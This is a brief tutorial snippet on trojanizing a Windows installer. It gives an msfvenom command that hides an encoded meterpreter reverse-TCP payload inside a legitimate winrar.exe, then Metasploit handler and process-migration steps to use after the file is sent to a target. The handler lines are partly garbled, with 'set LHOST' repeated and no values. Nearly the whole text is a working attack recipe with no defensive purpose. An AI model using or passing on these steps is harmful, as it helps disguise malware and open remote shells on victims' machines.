Injecting Payloads Into Windows Portable Executables
You can use the switch “-x” to select a template to use. And yeah, we can use the winrar executables
After downloading the winrar.exe executable
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -e x86/shikata_ga_nai -i 10 -f exe -x /path/to/winrar.exe > winrar.exe
After sending the payload to the target machine, set your metasploit handle
use exploit/multi/handler
set LHOST
set LHOST
run
Then run the post exploitation module to migrate
run post/windows/manage/migrate
This migrates the process into another one